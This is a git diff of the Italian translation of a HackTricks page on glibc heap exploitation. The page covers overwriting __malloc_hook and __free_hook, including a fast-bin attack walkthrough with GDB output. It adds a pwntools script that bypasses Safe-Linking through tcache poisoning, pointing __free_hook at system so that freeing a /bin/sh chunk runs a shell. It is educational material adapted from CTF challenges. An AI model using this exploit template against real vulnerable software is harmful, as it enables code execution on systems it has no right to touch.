mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma
This commit is contained in:
parent
9a280b5f92
commit
3c78afb1f1
@ -1,12 +1,12 @@
|
||||
# WWW2Exec - \_\_malloc_hook & \_\_free_hook
|
||||
# WWW2Exec - __malloc_hook & __free_hook
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Malloc Hook**
|
||||
|
||||
Come puoi vedere nel [sito ufficiale GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variabile **`__malloc_hook`** è un puntatore che punta all'**indirizzo di una funzione che verrà chiamata** ogni volta che viene chiamato `malloc()`, **memorizzato nella sezione dati della libreria libc**. Pertanto, se questo indirizzo viene sovrascritto con un **One Gadget**, ad esempio, e viene chiamato `malloc`, il **One Gadget verrà chiamato**.
|
||||
Come puoi vedere nel [sito ufficiale di GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variabile **`__malloc_hook`** è un puntatore che punta all'**indirizzo di una funzione che verrà chiamata** ogni volta che viene chiamato `malloc()`, **memorizzato nella sezione dati della libreria libc**. Pertanto, se questo indirizzo viene sovrascritto con un **One Gadget**, ad esempio, e viene chiamato `malloc`, il **One Gadget verrà chiamato**.
|
||||
|
||||
Per chiamare malloc è possibile aspettare che il programma lo chiami o **chiamando `printf("%10000$c")`**, che alloca troppi byte, facendo sì che `libc` chiami malloc per allocarli nel heap.
|
||||
Per chiamare malloc è possibile aspettare che il programma lo chiami o **chiamando `printf("%10000$c")`**, che alloca troppi byte, facendo sì che `libc` chiami malloc per allocarli nell'heap.
|
||||
|
||||
Ulteriori informazioni su One Gadget in:
|
||||
|
||||
@ -29,7 +29,7 @@ Questo è stato abusato in uno degli esempi della pagina che sfrutta un attacco
|
||||
```bash
|
||||
gef➤ p &__free_hook
|
||||
```
|
||||
[Nel post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) puoi trovare una guida passo passo su come localizzare l'indirizzo del free hook senza simboli. In sintesi, nella funzione free:
|
||||
[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) puoi trovare una guida passo passo su come localizzare l'indirizzo del free hook senza simboli. In sintesi, nella funzione free:
|
||||
|
||||
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
|
||||
0xf75dedc0 <free>: push ebx
|
||||
@ -47,7 +47,7 @@ Nel punto di interruzione menzionato nel codice precedente, in `$eax` si trover
|
||||
|
||||
Ora viene eseguito un **fast bin attack**:
|
||||
|
||||
- Prima di tutto si scopre che è possibile lavorare con fast **chunks di dimensione 200** nella posizione **`__free_hook`**:
|
||||
- Prima di tutto, si scopre che è possibile lavorare con fast **chunks di dimensione 200** nella posizione **`__free_hook`**:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
@ -59,12 +59,77 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
- Se riusciamo a ottenere un fast chunk di dimensione 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore a funzione che verrà eseguito.
|
||||
- Per questo, viene creato un nuovo chunk di dimensione `0xfc` e la funzione unita viene chiamata con quel puntatore due volte, in questo modo otteniamo un puntatore a un chunk liberato di dimensione `0xfc*2 = 0x1f8` nel fast bin.
|
||||
- Poi, la funzione di modifica viene chiamata in questo chunk per modificare l'indirizzo **`fd`** di questo fast bin per puntare alla precedente funzione **`__free_hook`**.
|
||||
- Successivamente, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il precedente chunk inutile, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un fast bin chunk nella **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**.
|
||||
- E infine, viene liberato un chunk contenente la stringa `/bin/sh\x00` chiamando la funzione di eliminazione, attivando la funzione **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro.
|
||||
- Successivamente, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il precedente chunk inutile, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un fast bin chunk nel **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**.
|
||||
- Infine, viene liberato un chunk contenente la stringa `/bin/sh\x00` chiamando la funzione di eliminazione, attivando la funzione **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro.
|
||||
|
||||
---
|
||||
|
||||
## Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)
|
||||
|
||||
glibc 2.32 ha introdotto **Safe-Linking** – un controllo di integrità che protegge le liste *singolarmente* collegate utilizzate da **tcache** e fast-bins. Invece di memorizzare un puntatore in avanti grezzo (`fd`), ptmalloc ora lo memorizza *offuscato* con il seguente macro:
|
||||
```c
|
||||
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
|
||||
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
|
||||
```
|
||||
Conseguenze per lo sfruttamento:
|
||||
|
||||
1. Un **heap leak** è obbligatorio – l'attaccante deve conoscere il valore di runtime di `chunk_addr >> 12` per creare un puntatore offuscato valido.
|
||||
2. Solo il puntatore a 8 byte *completo* può essere falsificato; sovrascritture parziali di un byte non supereranno il controllo.
|
||||
|
||||
Un primitivo minimo di tcache-poisoning che sovrascrive `__free_hook` su glibc 2.32/2.33 quindi appare come:
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
||||
p = process("./vuln")
|
||||
|
||||
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
|
||||
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
|
||||
heap_base = heap_leak & ~0xfff
|
||||
fd_key = heap_base >> 12 # value used by PROTECT_PTR
|
||||
log.success(f"heap @ {hex(heap_base)}")
|
||||
|
||||
# 2. Prepare two same-size chunks and double-free one of them
|
||||
a = malloc(0x48)
|
||||
b = malloc(0x48)
|
||||
free(a)
|
||||
free(b)
|
||||
free(a) # tcache double-free ⇒ poisoning primitive
|
||||
|
||||
# 3. Forge obfuscated fd that points to __free_hook
|
||||
free_hook = libc.sym['__free_hook']
|
||||
poison = free_hook ^ fd_key
|
||||
edit(a, p64(poison)) # overwrite fd of tcache entry
|
||||
|
||||
# 4. Two mallocs: the second one returns a pointer to __free_hook
|
||||
malloc(0x48) # returns chunk a
|
||||
c = malloc(0x48) # returns chunk @ __free_hook
|
||||
edit(c, p64(libc.sym['system']))
|
||||
|
||||
# 5. Trigger
|
||||
bin_sh = malloc(0x48)
|
||||
edit(bin_sh, b"/bin/sh\x00")
|
||||
free(bin_sh)
|
||||
```
|
||||
Il frammento sopra è stato adattato da recenti sfide CTF come *UIUCTF 2024 – «Rusty Pointers»* e *openECSC 2023 – «Babyheap G»*, entrambe le quali si basavano su bypass di Safe-Linking per sovrascrivere `__free_hook`.
|
||||
|
||||
---
|
||||
|
||||
## Cosa è cambiato in glibc ≥ 2.34?
|
||||
|
||||
A partire da **glibc 2.34 (agosto 2021)**, i ganci di allocazione `__malloc_hook`, `__realloc_hook`, `__memalign_hook` e `__free_hook` sono stati **rimossi dall'API pubblica e non vengono più invocati dall'allocatore**. I simboli di compatibilità sono ancora esportati per i binari legacy, ma sovrascriverli non influisce più sul controllo del flusso di `malloc()` o `free()`.
|
||||
|
||||
Implicazione pratica: su distribuzioni moderne (Ubuntu 22.04+, Fedora 35+, Debian 12, ecc.) devi passare a *altri* primitivi di hijack (IO-FILE, `__run_exit_handlers`, vtable spraying, ecc.) perché le sovrascritture dei ganci falliranno silenziosamente.
|
||||
|
||||
Se hai ancora bisogno del vecchio comportamento per il debug, glibc fornisce `libc_malloc_debug.so` che può essere pre-caricato per riabilitare i ganci legacy – ma la libreria **non è destinata alla produzione e potrebbe scomparire nelle future versioni**.
|
||||
|
||||
---
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
- Safe-Linking – Eliminazione di un primitivo di exploit malloc() vecchio di 20 anni (Check Point Research, 2020)
|
||||
- Note di rilascio di glibc 2.34 – rimozione dei ganci malloc
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user